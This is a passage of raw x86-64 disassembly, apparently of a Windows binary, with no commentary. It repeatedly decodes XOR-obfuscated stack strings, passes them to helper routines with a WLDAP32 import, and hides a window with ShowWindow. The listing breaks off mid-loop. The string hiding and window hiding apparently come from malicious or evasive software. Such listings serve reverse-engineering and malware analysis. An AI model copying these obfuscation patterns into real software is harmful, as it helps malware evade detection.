mov dword [rsp + 0x1b4f], 0x9e9ee3eb
mov word [rsp + 0x1b53], 0xef
mov byte [rsp + 0x1b55], 1
xor ecx, ecx
nop
lea eax, [rcx - 0x65]
xor byte [rsp + rcx + 0x1b1f], al
inc rcx
cmp rcx, 0x35
jb 0x1400f21b0
mov byte [rsp + 0x1b55], 0
lea rdx, [rsp + 0x1b1f]
lea rcx, [rsp + 0x4c8]
vzeroupper
call fcn.14009d3c0
mov rcx, rax
call fcn.14010fbb0
nop
lea rcx, [rsp + 0x4e8]
call fcn.14009b5e0
mov edx, reloc.WLDAP32.dll_Ordinal_32
lea rcx, [rsp + 0x528]
call fcn.1400fcb30
mov r8, rax
vmovdqu ymm0, ymmword [0x1401ee1c0]
vmovdqu ymmword [rsp + 0x1b56], ymm0
vmovdqu xmm1, xmmword [0x1401ecd40]
vmovdqu xmmword [rsp + 0x1b76], xmm1
mov dword [rsp + 0x1b86], 0x9884e3eb
mov word [rsp + 0x1b8a], 0xef
mov byte [rsp + 0x1b8c], 1
xor ecx, ecx
nop
lea eax, [rcx - 0x65]
xor byte [rsp + rcx + 0x1b56], al
inc rcx
cmp rcx, 0x35
jb 0x1400f2250
mov byte [rsp + 0x1b8c], 0
lea rdx, [rsp + 0x1b56]
lea rcx, [rsp + 0x508]
vzeroupper
call fcn.14009d3c0
mov rcx, rax
call fcn.14010fbb0
nop
lea rcx, [rsp + 0x528]
call fcn.14009b5e0
mov edx, reloc.WLDAP32.dll_Ordinal_32
lea rcx, [rsp + 0x568]
call fcn.1400fcb30
mov r8, rax
vmovdqu ymm0, ymmword [0x1401ee1c0]
vmovdqu ymmword [rsp + 0x1d7d], ymm0
vmovdqu xmm1, xmmword [0x1401ecd40]
vmovdqu xmmword [rsp + 0x1d9d], xmm1
mov dword [rsp + 0x1dad], 0x9884e3eb
mov dword [rsp + 0x1db1], 0x100f081
xor ecx, ecx
nop dword [rax + rax]
lea eax, [rcx - 0x65]
xor byte [rsp + rcx + 0x1d7d], al
inc rcx
cmp rcx, 0x36
jb 0x1400f22f0
mov byte [rsp + 0x1db4], 0
lea rdx, [rsp + 0x1d7d]
lea rcx, [rsp + 0x548]
vzeroupper
call fcn.14009d3c0
mov rcx, rax
call fcn.14010fbb0
nop
lea rcx, [rsp + 0x568]
call fcn.14009b5e0
mov edx, reloc.WLDAP32.dll_Ordinal_32
lea rcx, [rsp + 0x5a8]
call fcn.1400fcb30
mov r8, rax
vmovdqu ymm0, ymmword [0x1401ee1c0]
vmovdqu ymmword [rsp + 0x1db5], ymm0
vmovdqu xmm1, xmmword [0x1401ecd40]
vmovdqu xmmword [rsp + 0x1dd5], xmm1
mov dword [rsp + 0x1de5], 0x828fe3eb
mov dword [rsp + 0x1de9], 0x100f08c
xor ecx, ecx
nop dword [rax + rax]
lea eax, [rcx - 0x65]
xor byte [rsp + rcx + 0x1db5], al
inc rcx
cmp rcx, 0x36
jb 0x1400f2390
mov byte [rsp + 0x1dec], 0
lea rdx, [rsp + 0x1db5]
lea rcx, [rsp + 0x588]
vzeroupper
call fcn.14009d3c0
mov rcx, rax
call fcn.14010fbb0
nop
lea rcx, [rsp + 0x5a8]
call fcn.14009b5e0
mov edx, reloc.WLDAP32.dll_Ordinal_32
lea rcx, [rsp + 0x5e8]
call fcn.1400fcb30
mov r8, rax
vmovdqu ymm0, ymmword [0x1401ee1c0]
vmovdqu ymmword [rsp + 0x1ded], ymm0
vmovdqu xmm1, xmmword [0x1401ecd40]
vmovdqu xmmword [rsp + 0x1e0d], xmm1
mov dword [rsp + 0x1e1d], 0x9d8fe3eb
mov dword [rsp + 0x1e21], 0x100f087
xor ecx, ecx
nop dword [rax + rax]
lea eax, [rcx - 0x65]
xor byte [rsp + rcx + 0x1ded], al
inc rcx
cmp rcx, 0x36
jb 0x1400f2430
mov byte [rsp + 0x1e24], 0
lea rdx, [rsp + 0x1ded]
lea rcx, [rsp + 0x5c8]
vzeroupper
call fcn.14009d3c0
mov rcx, rax
call fcn.14010fbb0
nop
lea rcx, [rsp + 0x5e8]
call fcn.14009b5e0
mov edx, reloc.WLDAP32.dll_Ordinal_32
lea rcx, [rsp + 0x628]
call fcn.1400fcb30
mov r8, rax
vmovdqu ymm0, ymmword [0x1401ee1c0]
vmovdqu ymmword [rsp + 0x1e25], ymm0
vmovdqu xmm1, xmmword [0x1401ecd40]
vmovdqu xmmword [rsp + 0x1e45], xmm1
mov dword [rsp + 0x1e55], 0x828fe3eb
mov dword [rsp + 0x1e59], 0x100f08c
xor ecx, ecx
nop dword [rax + rax]
lea eax, [rcx - 0x65]
xor byte [rsp + rcx + 0x1e25], al
inc rcx
cmp rcx, 0x36
jb 0x1400f24d0
mov byte [rsp + 0x1e5c], 0
lea rdx, [rsp + 0x1e25]
lea rcx, [rsp + 0x608]
vzeroupper
call fcn.14009d3c0
mov rcx, rax
call fcn.14010fbb0
nop
lea rcx, [rsp + 0x628]
call fcn.14009b5e0
mov edx, reloc.WLDAP32.dll_Ordinal_32
lea rcx, [rsp + 0x668]
call fcn.1400fcb30
mov r8, rax
vmovdqu ymm0, ymmword [0x1401ee1c0]
vmovdqu ymmword [rsp + 0x1b8d], ymm0
vmovdqu xmm1, xmmword [0x1401ecd40]
vmovdqu xmmword [rsp + 0x1bad], xmm1
mov dword [rsp + 0x1bbd], 0x9a8fe3eb
mov word [rsp + 0x1bc1], 0xef
mov byte [rsp + 0x1bc3], 1
xor ecx, ecx
nop
lea eax, [rcx - 0x65]
xor byte [rsp + rcx + 0x1b8d], al
inc rcx
cmp rcx, 0x35
jb 0x1400f2570
mov byte [rsp + 0x1bc3], 0
lea rdx, [rsp + 0x1b8d]
lea rcx, [rsp + 0x648]
vzeroupper
call fcn.14009d3c0
mov rcx, rax
call fcn.14010fbb0
nop
lea rcx, [rsp + 0x668]
call fcn.14009b5e0
mov edx, reloc.WLDAP32.dll_Ordinal_32
lea rcx, [rsp + 0x6a8]
call fcn.1400fcb30
mov r8, rax
vmovdqu ymm0, ymmword [0x1401ee1c0]
vmovdqu ymmword [rsp + 0x20fd], ymm0
vmovdqu xmm1, xmmword [0x1401ecd40]
vmovdqu xmmword [rsp + 0x211d], xmm1
mov dword [rsp + 0x212d], 0x9d82e3eb
mov dword [rsp + 0x2131], 0xf1e1ef
mov byte [rsp + 0x2135], 1
xor ecx, ecx
lea eax, [rcx - 0x65]
xor byte [rsp + rcx + 0x20fd], al
inc rcx
cmp rcx, 0x37
jb 0x1400f2610
mov byte [rsp + 0x2135], 0
lea rdx, [rsp + 0x20fd]
lea rcx, [rsp + 0x688]
vzeroupper
call fcn.14009d3c0
mov rcx, rax
call fcn.14010fbb0
nop
lea rcx, [rsp + 0x6a8]
call fcn.14009b5e0
mov edx, reloc.WLDAP32.dll_Ordinal_32
lea rcx, [rsp + 0x6e8]
call fcn.1400fcb30
mov r8, rax
vmovdqu ymm0, ymmword [0x1401ee1c0]
vmovdqu ymmword [rsp + 0x1e5d], ymm0
vmovdqu xmm1, xmmword [0x1401ecd40]
vmovdqu xmmword [rsp + 0x1e7d], xmm1
mov dword [rsp + 0x1e8d], 0x9e9de3eb
mov dword [rsp + 0x1e91], 0x100f081
xor ecx, ecx
nop dword [rax + rax]
lea eax, [rcx - 0x65]
xor byte [rsp + rcx + 0x1e5d], al
inc rcx
cmp rcx, 0x36
jb 0x1400f26b0
mov byte [rsp + 0x1e94], 0
lea rdx, [rsp + 0x1e5d]
lea rcx, [rsp + 0x6c8]
vzeroupper
call fcn.14009d3c0
mov rcx, rax
call fcn.14010fbb0
nop
lea rcx, [rsp + 0x6e8]
call fcn.14009b5e0
mov edx, reloc.WLDAP32.dll_Ordinal_32
lea rcx, [rsp + 0x728]
call fcn.1400fcb30
mov r8, rax
vmovdqu ymm0, ymmword [0x1401ee1c0]
vmovdqu ymmword [rsp + 0x1e95], ymm0
vmovdqu xmm1, xmmword [0x1401ecd40]
vmovdqu xmmword [rsp + 0x1eb5], xmm1
mov dword [rsp + 0x1ec5], 0x8f9de3eb
mov dword [rsp + 0x1ec9], 0x100f09b
xor ecx, ecx
nop dword [rax + rax]
lea eax, [rcx - 0x65]
xor byte [rsp + rcx + 0x1e95], al
inc rcx
cmp rcx, 0x36
jb 0x1400f2750
mov byte [rsp + 0x1ecc], 0
lea rdx, [rsp + 0x1e95]
lea rcx, [rsp + 0x708]
vzeroupper
call fcn.14009d3c0
mov rcx, rax
call fcn.14010fbb0
nop
lea rcx, [rsp + 0x728]
call fcn.14009b5e0
mov edx, reloc.WLDAP32.dll_Ordinal_32
lea rcx, [rsp + 0x768]
call fcn.1400fcb30
mov r8, rax
vmovdqu ymm0, ymmword [0x1401ee1c0]
vmovdqu ymmword [rsp + 0x1ecd], ymm0
vmovdqu xmm1, xmmword [0x1401ecd40]
vmovdqu xmmword [rsp + 0x1eed], xmm1
mov dword [rsp + 0x1efd], 0x9d9de3eb
mov dword [rsp + 0x1f01], 0x100f081
xor ecx, ecx
nop dword [rax + rax]
lea eax, [rcx - 0x65]
xor byte [rsp + rcx + 0x1ecd], al
inc rcx
cmp rcx, 0x36
jb 0x1400f27f0
mov byte [rsp + 0x1f04], 0
lea rdx, [rsp + 0x1ecd]
lea rcx, [rsp + 0x748]
vzeroupper
call fcn.14009d3c0
mov rcx, rax
call fcn.14010fbb0
nop
lea rcx, [rsp + 0x768]
call fcn.14009b5e0
mov edx, reloc.WLDAP32.dll_Ordinal_32
lea rcx, [rsp + 0x7a8]
call fcn.1400fcb30
mov r8, rax
vmovdqu ymm0, ymmword [0x1401ee1c0]
vmovdqu ymmword [rsp + 0x1f05], ymm0
vmovdqu xmm1, xmmword [0x1401ecd40]
vmovdqu xmmword [rsp + 0x1f25], xmm1
mov dword [rsp + 0x1f35], 0x988ee3eb
mov dword [rsp + 0x1f39], 0x100f087
xor ecx, ecx
nop dword [rax + rax]
lea eax, [rcx - 0x65]
xor byte [rsp + rcx + 0x1f05], al
inc rcx
cmp rcx, 0x36
jb 0x1400f2890
mov byte [rsp + 0x1f3c], 0
lea rdx, [rsp + 0x1f05]
lea rcx, [rsp + 0x788]
vzeroupper
call fcn.14009d3c0
mov rcx, rax
call fcn.14010fbb0
nop
lea rcx, [rsp + 0x7a8]
call fcn.14009b5e0
mov edx, reloc.WLDAP32.dll_Ordinal_32
lea rcx, [rsp + 0x7e8]
call fcn.1400fcb30
mov r8, rax
vmovdqu ymm0, ymmword [0x1401ee1c0]
vmovdqu ymmword [rsp + 0x1f3d], ymm0
vmovdqu xmm1, xmmword [0x1401ecd40]
vmovdqu xmmword [rsp + 0x1f5d], xmm1
mov dword [rsp + 0x1f6d], 0x9d8ee3eb
mov dword [rsp + 0x1f71], 0x100f087
xor ecx, ecx
nop dword [rax + rax]
lea eax, [rcx - 0x65]
xor byte [rsp + rcx + 0x1f3d], al
inc rcx
cmp rcx, 0x36
jb 0x1400f2930
mov byte [rsp + 0x1f74], 0
lea rdx, [rsp + 0x1f3d]
lea rcx, [rsp + 0x7c8]
vzeroupper
call fcn.14009d3c0
mov rcx, rax
call fcn.14010fbb0
nop
lea rcx, [rsp + 0x7e8]
call fcn.14009b5e0
mov edx, reloc.WLDAP32.dll_Ordinal_32
lea rcx, [rsp + 0x828]
call fcn.1400fcb30
mov r8, rax
vmovdqu ymm0, ymmword [0x1401ee1c0]
vmovdqu ymmword [rsp + 0x2136], ymm0
vmovdqu xmm1, xmmword [0x1401ecd40]
vmovdqu xmmword [rsp + 0x2156], xmm1
mov dword [rsp + 0x2166], 0x9d8ee3eb
mov dword [rsp + 0x216a], 0xf19884
mov byte [rsp + 0x216e], 1
xor ecx, ecx
lea eax, [rcx - 0x65]
xor byte [rsp + rcx + 0x2136], al
inc rcx
cmp rcx, 0x37
jb 0x1400f29d0
mov byte [rsp + 0x216e], 0
lea rdx, [rsp + 0x2136]
lea rcx, [rsp + 0x808]
vzeroupper
call fcn.14009d3c0
mov rcx, rax
call fcn.14010fbb0
nop
lea rcx, [rsp + 0x828]
call fcn.14009b5e0
mov edx, reloc.WLDAP32.dll_Ordinal_32
lea rcx, [rsp + 0x868]
call fcn.1400fcb30
mov r8, rax
vmovdqu ymm0, ymmword [0x1401ee1c0]
vmovdqu ymmword [rsp + 0x1f75], ymm0
vmovdqu xmm1, xmmword [0x1401ecd40]
vmovdqu xmmword [rsp + 0x1f95], xmm1
mov dword [rsp + 0x1fa5], 0x9a8ee3eb
mov dword [rsp + 0x1fa9], 0x100f087
xor ecx, ecx
nop dword [rax + rax]
lea eax, [rcx - 0x65]
xor byte [rsp + rcx + 0x1f75], al
inc rcx
cmp rcx, 0x36
jb 0x1400f2a70
mov byte [rsp + 0x1fac], 0
lea rdx, [rsp + 0x1f75]
lea rcx, [rsp + 0x848]
vzeroupper
call fcn.14009d3c0
mov rcx, rax
call fcn.14010fbb0
nop
lea rcx, [rsp + 0x868]
call fcn.14009b5e0
mov edx, reloc.WLDAP32.dll_Ordinal_32
lea rcx, [rsp + 0x8a8]
call fcn.1400fcb30
mov r8, rax
vmovdqu ymm0, ymmword [0x1401ee1c0]
vmovdqu ymmword [rsp + 0x1fad], ymm0
vmovdqu xmm1, xmmword [0x1401ecd40]
vmovdqu xmmword [rsp + 0x1fcd], xmm1
mov dword [rsp + 0x1fdd], 0x8f8ee3eb
mov dword [rsp + 0x1fe1], 0x100f087
xor ecx, ecx
nop dword [rax + rax]
lea eax, [rcx - 0x65]
xor byte [rsp + rcx + 0x1fad], al
inc rcx
cmp rcx, 0x36
jb 0x1400f2b10
mov byte [rsp + 0x1fe4], 0
lea rdx, [rsp + 0x1fad]
lea rcx, [rsp + 0x888]
vzeroupper
call fcn.14009d3c0
mov rcx, rax
call fcn.14010fbb0
nop
lea rcx, [rsp + 0x8a8]
call fcn.14009b5e0
mov edx, reloc.WLDAP32.dll_Ordinal_32
lea rcx, [rsp + 0x8e8]
call fcn.1400fcb30
mov r8, rax
vmovdqu ymm0, ymmword [0x1401ee1c0]
vmovdqu ymmword [rsp + 0x1bc4], ymm0
vmovdqu xmm1, xmmword [0x1401ecd40]
vmovdqu xmmword [rsp + 0x1be4], xmm1
mov dword [rsp + 0x1bf4], 0x9a8ee3eb
mov word [rsp + 0x1bf8], 0xef
mov byte [rsp + 0x1bfa], 1
xor ecx, ecx
nop
lea eax, [rcx - 0x65]
xor byte [rsp + rcx + 0x1bc4], al
inc rcx
cmp rcx, 0x35
jb 0x1400f2bb0
mov byte [rsp + 0x1bfa], 0
lea rdx, [rsp + 0x1bc4]
lea rcx, [rsp + 0x8c8]
vzeroupper
call fcn.14009d3c0
mov rcx, rax
call fcn.14010fbb0
nop
lea rcx, [rsp + 0x8e8]
call fcn.14009b5e0
mov edx, reloc.WLDAP32.dll_Ordinal_32
lea rcx, [rsp + 0x928]
call fcn.1400fcb30
mov r8, rax
vmovdqu ymm0, ymmword [0x1401ee1c0]
vmovdqu ymmword [rsp + 0x1fe5], ymm0
vmovdqu xmm1, xmmword [0x1401ecd40]
vmovdqu xmmword [rsp + 0x2005], xmm1
mov dword [rsp + 0x2015], 0x9d8ee3eb
mov dword [rsp + 0x2019], 0x100f084
xor ecx, ecx
nop dword [rax + rax]
lea eax, [rcx - 0x65]
xor byte [rsp + rcx + 0x1fe5], al
inc rcx
cmp rcx, 0x36
jb 0x1400f2c50
mov byte [rsp + 0x201c], 0
lea rdx, [rsp + 0x1fe5]
lea rcx, [rsp + 0x908]
vzeroupper
call fcn.14009d3c0
mov rcx, rax
call fcn.14010fbb0
nop
lea rcx, [rsp + 0x928]
call fcn.14009b5e0
mov edx, reloc.WLDAP32.dll_Ordinal_32
lea rcx, [rsp + 0x968]
call fcn.1400fcb30
mov r8, rax
vmovdqu ymm0, ymmword [0x1401ee1c0]
vmovdqu ymmword [rsp + 0x1bfb], ymm0
vmovdqu xmm1, xmmword [0x1401ecd40]
vmovdqu xmmword [rsp + 0x1c1b], xmm1
mov dword [rsp + 0x1c2b], 0x8f8ee3eb
mov word [rsp + 0x1c2f], 0xef
mov byte [rsp + 0x1c31], 1
xor ecx, ecx
nop
lea eax, [rcx - 0x65]
xor byte [rsp + rcx + 0x1bfb], al
inc rcx
cmp rcx, 0x35
jb 0x1400f2cf0
mov byte [rsp + 0x1c31], 0
lea rdx, [rsp + 0x1bfb]
lea rcx, [rsp + 0x948]
vzeroupper
call fcn.14009d3c0
mov rcx, rax
call fcn.14010fbb0
nop
lea rcx, [rsp + 0x968]
call fcn.14009b5e0
mov edx, reloc.WLDAP32.dll_Ordinal_32
lea rcx, [rsp + 0x9a8]
call fcn.1400fcb30
mov r8, rax
vmovdqu ymm0, ymmword [0x1401ee1c0]
vmovdqu ymmword [rsp + 0x1c32], ymm0
vmovdqu xmm1, xmmword [0x1401ecd40]
vmovdqu xmmword [rsp + 0x1c52], xmm1
mov dword [rsp + 0x1c62], 0x9d8ee3eb
mov word [rsp + 0x1c66], 0xef
mov byte [rsp + 0x1c68], 1
xor ecx, ecx
nop
lea eax, [rcx - 0x65]
xor byte [rsp + rcx + 0x1c32], al
inc rcx
cmp rcx, 0x35
jb 0x1400f2d90
mov byte [rsp + 0x1c68], 0
lea rdx, [rsp + 0x1c32]
lea rcx, [rsp + 0x988]
vzeroupper
call fcn.14009d3c0
mov rcx, rax
call fcn.14010fbb0
nop
lea rcx, [rsp + 0x9a8]
call fcn.14009b5e0
mov edx, reloc.WLDAP32.dll_Ordinal_32
lea rcx, [rsp + 0x9e8]
call fcn.1400fcb30
mov r8, rax
vmovdqu ymm0, ymmword [0x1401ee1c0]
vmovdqu ymmword [rsp + 0x1c69], ymm0
vmovdqu xmm1, xmmword [0x1401ecd40]
vmovdqu xmmword [rsp + 0x1c89], xmm1
mov dword [rsp + 0x1c99], 0x988ee3eb
mov word [rsp + 0x1c9d], 0xef
mov byte [rsp + 0x1c9f], 1
xor ecx, ecx
nop
lea eax, [rcx - 0x65]
xor byte [rsp + rcx + 0x1c69], al
inc rcx
cmp rcx, 0x35
jb 0x1400f2e30
mov byte [rsp + 0x1c9f], 0
lea rdx, [rsp + 0x1c69]
lea rcx, [rsp + 0x9c8]
vzeroupper
call fcn.14009d3c0
mov rcx, rax
call fcn.14010fbb0
nop
lea rcx, [rsp + 0x9e8]
call fcn.14009b5e0
mov edx, reloc.WLDAP32.dll_Ordinal_32
lea rcx, [rsp + 0xa28]
call fcn.1400fcb30
mov r8, rax
vmovdqu ymm0, ymmword [0x1401ee1c0]
vmovdqu ymmword [rsp + 0x1ca0], ymm0
vmovdqu xmm1, xmmword [0x1401ecd40]
vmovdqu xmmword [rsp + 0x1cc0], xmm1
mov dword [rsp + 0x1cd0], 0x838ee3eb
mov word [rsp + 0x1cd4], 0xef
mov byte [rsp + 0x1cd6], 1
xor ecx, ecx
nop
lea eax, [rcx - 0x65]
xor byte [rsp + rcx + 0x1ca0], al
inc rcx
cmp rcx, 0x35
jb 0x1400f2ed0
mov byte [rsp + 0x1cd6], 0
lea rdx, [rsp + 0x1ca0]
lea rcx, [rsp + 0xa08]
vzeroupper
call fcn.14009d3c0
mov rcx, rax
call fcn.14010fbb0
nop
lea rcx, [rsp + 0xa28]
call fcn.14009b5e0
mov edx, reloc.WLDAP32.dll_Ordinal_32
lea rcx, [rsp + 0xa68]
call fcn.1400fcb30
mov r8, rax
vmovdqu ymm0, ymmword [0x1401ee1c0]
vmovdqu ymmword [rsp + 0x201d], ymm0
vmovdqu xmm1, xmmword [0x1401ecd40]
vmovdqu xmmword [rsp + 0x203d], xmm1
mov dword [rsp + 0x204d], 0x988fe3eb
mov dword [rsp + 0x2051], 0x100f087
xor ecx, ecx
nop dword [rax + rax]
lea eax, [rcx - 0x65]
xor byte [rsp + rcx + 0x201d], al
inc rcx
cmp rcx, 0x36
jb 0x1400f2f70
mov byte [rsp + 0x2054], 0
lea rdx, [rsp + 0x201d]
lea rcx, [rsp + 0xa48]
vzeroupper
call fcn.14009d3c0
mov rcx, rax
call fcn.14010fbb0
nop
lea rcx, [rsp + 0xa68]
call fcn.14009b5e0
mov edx, reloc.WLDAP32.dll_Ordinal_32
lea rcx, [rsp + 0xaa8]
call fcn.1400fcb30
mov r8, rax
vmovdqu ymm0, ymmword [0x1401ee1c0]
vmovdqu ymmword [rsp + 0x2055], ymm0
vmovdqu xmm1, xmmword [0x1401ecd40]
vmovdqu xmmword [rsp + 0x2075], xmm1
mov dword [rsp + 0x2085], 0x9d8fe3eb
mov dword [rsp + 0x2089], 0x100f087
xor ecx, ecx
nop dword [rax + rax]
lea eax, [rcx - 0x65]
xor byte [rsp + rcx + 0x2055], al
inc rcx
cmp rcx, 0x36
jb 0x1400f3010
mov byte [rsp + 0x208c], 0
lea rdx, [rsp + 0x2055]
lea rcx, [rsp + 0xa88]
vzeroupper
call fcn.14009d3c0
mov rcx, rax
call fcn.14010fbb0
nop
lea rcx, [rsp + 0xaa8]
call fcn.14009b5e0
mov edx, reloc.WLDAP32.dll_Ordinal_32
lea rcx, [rsp + 0xae8]
call fcn.1400fcb30
mov r8, rax
vmovdqu ymm0, ymmword [0x1401ee1c0]
vmovdqu ymmword [rsp + 0x208d], ymm0
vmovdqu xmm1, xmmword [0x1401ecd40]
vmovdqu xmmword [rsp + 0x20ad], xmm1
mov dword [rsp + 0x20bd], 0x828fe3eb
mov dword [rsp + 0x20c1], 0x100f08c
xor ecx, ecx
nop dword [rax + rax]
lea eax, [rcx - 0x65]
xor byte [rsp + rcx + 0x208d], al
inc rcx
cmp rcx, 0x36
jb 0x1400f30b0
mov byte [rsp + 0x20c4], 0
lea rdx, [rsp + 0x208d]
lea rcx, [rsp + 0xac8]
vzeroupper
call fcn.14009d3c0
mov rcx, rax
call fcn.14010fbb0
nop
lea rcx, [rsp + 0xae8]
call fcn.14009b5e0
mov edx, reloc.WLDAP32.dll_Ordinal_32
lea rcx, [rsp + 0xb28]
call fcn.1400fcb30
mov r8, rax
vmovdqu ymm0, ymmword [0x1401ee1c0]
vmovdqu ymmword [rsp + 0x1cd7], ymm0
vmovdqu xmm1, xmmword [0x1401ecd40]
vmovdqu xmmword [rsp + 0x1cf7], xmm1
mov dword [rsp + 0x1d07], 0x9a8fe3eb
mov word [rsp + 0x1d0b], 0xef
mov byte [rsp + 0x1d0d], 1
xor ecx, ecx
nop
lea eax, [rcx - 0x65]
xor byte [rsp + rcx + 0x1cd7], al
inc rcx
cmp rcx, 0x35
jb 0x1400f3150
mov byte [rsp + 0x1d0d], 0
lea rdx, [rsp + 0x1cd7]
lea rcx, [rsp + 0xb08]
vzeroupper
call fcn.14009d3c0
mov rcx, rax
call fcn.14010fbb0
nop
lea rcx, [rsp + 0xb28]
call fcn.14009b5e0
vmovdqu ymm0, ymmword [0x1401ee2e0]
vmovdqu ymmword [rsp + 0x17b4], ymm0
vmovdqu xmm1, xmmword [0x1401ecec0]
vmovdqu xmmword [rsp + 0x17d4], xmm1
mov dword [rsp + 0x17e4], 0xbeb5b8
mov byte [rsp + 0x17e8], 1
xor ecx, ecx
lea eax, [rcx - 0x65]
xor byte [rsp + rcx + 0x17b4], al
inc rcx
cmp rcx, 0x33
jb 0x1400f31d0
mov byte [rsp + 0x17e8], 0
lea rdx, [rsp + 0x17b4]
lea rcx, [rsp + 0xb48]
vzeroupper
call fcn.14009b6b0
mov rcx, rax
call fcn.14010fbb0
vmovdqu ymm0, ymmword [0x1401ee2e0]
vmovdqu ymmword [rsp + 0x17e9], ymm0
vmovdqu xmm1, xmmword [0x1401ecf30]
vmovdqu xmmword [rsp + 0x1809], xmm1
mov dword [rsp + 0x1819], 0xbdb4bfe5
mov word [rsp + 0x181d], 0x100
xor ecx, ecx
nop dword [rax]
nop dword [rax + rax]
lea eax, [rcx - 0x65]
xor byte [rsp + rcx + 0x17e9], al
inc rcx
cmp rcx, 0x34
jb 0x1400f3250
mov byte [rsp + 0x181e], 0
lea rdx, [rsp + 0x17e9]
lea rcx, [rsp + 0xb68]
vzeroupper
call fcn.14009b6b0
mov rcx, rax
call fcn.14010fbb0
vmovdqu ymm0, ymmword [0x1401ee2e0]
vmovdqu ymmword [rsp + 0x181f], ymm0
vmovdqu xmm1, xmmword [0x1401ecf20]
vmovdqu xmmword [rsp + 0x183f], xmm1
mov dword [rsp + 0x184f], 0x8b9589e5
mov word [rsp + 0x1853], 0x100
xor ecx, ecx
nop dword [rax]
nop dword [rax + rax]
lea eax, [rcx - 0x65]
xor byte [rsp + rcx + 0x181f], al
inc rcx
cmp rcx, 0x34
jb 0x1400f32d0
mov byte [rsp + 0x1854], 0
lea rdx, [rsp + 0x181f]
lea rcx, [rsp + 0xb88]
vzeroupper
call fcn.14009b6b0
mov rcx, rax
call fcn.14010fbb0
mov ebx, 2
mov ecx, ebx
call fcn.14010fdc0
xor edx, edx
mov rcx, rdi
call qword [sym.imp.USER32.dll_ShowWindow]
vmovups ymm0, ymmword [0x1401e8a10]
vmovups ymmword [rsp + 0x263b], ymm0
vmovups ymm1, ymmword [0x1401e8a30]
vmovups ymmword [rsp + 0x265b], ymm1
vmovups ymm0, ymmword [0x1401e8a50]
vmovups ymmword [rsp + 0x267b], ymm0
vmovups xmm1, xmmword [0x1401e8a70]
vmovups xmmword [rsp + 0x269b], xmm1
mov eax, dword [0x1401e8a80]
mov dword [rsp + 0x26ab], eax
movzx eax, word [0x1401e8a84]
mov word [rsp + 0x26af], ax
xor r8d, r8d
lea r9, [rsp + 0x263c]
nop dword [rax]
mov eax, 0x51eb851f
mul r8d
shr edx, 4
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9 - 1], al
lea ecx, [r8 + 1]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
add r8d, ebx
lea r9, [r9 + 2]
cmp r8d, 0x76
jl 0x1400f3390
lea rdx, [rsp + 0x263b]
lea rcx, [rsp + 0xba8]
vzeroupper
call fcn.14009b6b0
mov rcx, rax
call fcn.14010fbb0
vmovdqu ymm0, ymmword [0x1401ed720]
vmovdqu ymmword [rsp + 0x1d0e], ymm0
vmovdqu xmm1, xmmword [0x1401ecdb0]
vmovdqu xmmword [rsp + 0x1d2e], xmm1
mov dword [rsp + 0x1d3e], 0xe1edb8aa
mov word [rsp + 0x1d42], 0xa9
mov byte [rsp + 0x1d44], 1
xor ecx, ecx
lea eax, [rcx - 0x65]
xor byte [rsp + rcx + 0x1d0e], al
inc rcx
cmp rcx, 0x35
jb 0x1400f3441
mov byte [rsp + 0x1d44], 0
lea rdx, [rsp + 0x1d0e]
lea rcx, [rsp + 0xbc8]
vzeroupper
call fcn.14009b6b0
mov rcx, rax
call fcn.14010fbb0
vmovups ymm0, ymmword [0x1401e8a90]
vmovups ymmword [rsp + 0x279f], ymm0
vmovups ymm1, ymmword [0x1401e8ab0]
vmovups ymmword [rsp + 0x27bf], ymm1
vmovups ymm0, ymmword [0x1401e8ad0]
vmovups ymmword [rsp + 0x27df], ymm0
vmovups xmm1, xmmword [str.D7_idb]
vmovups xmmword [rsp + 0x27ff], xmm1
vmovsd xmm0, qword [0x1401e8b00]
vmovsd qword [rsp + 0x280f], xmm0
mov eax, dword [0x1401e8b08]
mov dword [rsp + 0x2817], eax
xor r10d, r10d
mov eax, 0x51eb851f
mul r10d
shr edx, 4
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x36
xor byte [rsp + r10 + 0x279f], al
lea r8d, [r10 + 2]
lea ecx, [r8 - 1]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x37
xor byte [rsp + r10 + 0x27a0], al
mov eax, 0x51eb851f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x38
xor byte [rsp + r10 + 0x27a1], al
lea ecx, [r8 + 1]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x39
xor byte [rsp + r10 + 0x27a2], al
lea ecx, [r8 + 2]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x3a
xor byte [rsp + r10 + 0x27a3], al
lea ecx, [r8 + 3]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x3b
xor byte [rsp + r10 + 0x27a4], al
lea ecx, [r8 + 4]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x3c
xor byte [rsp + r10 + 0x27a5], al
lea ecx, [r8 + 5]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x3d
xor byte [rsp + r10 + 0x27a6], al
lea ecx, [r8 + 6]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x3e
xor byte [rsp + r10 + 0x27a7], al
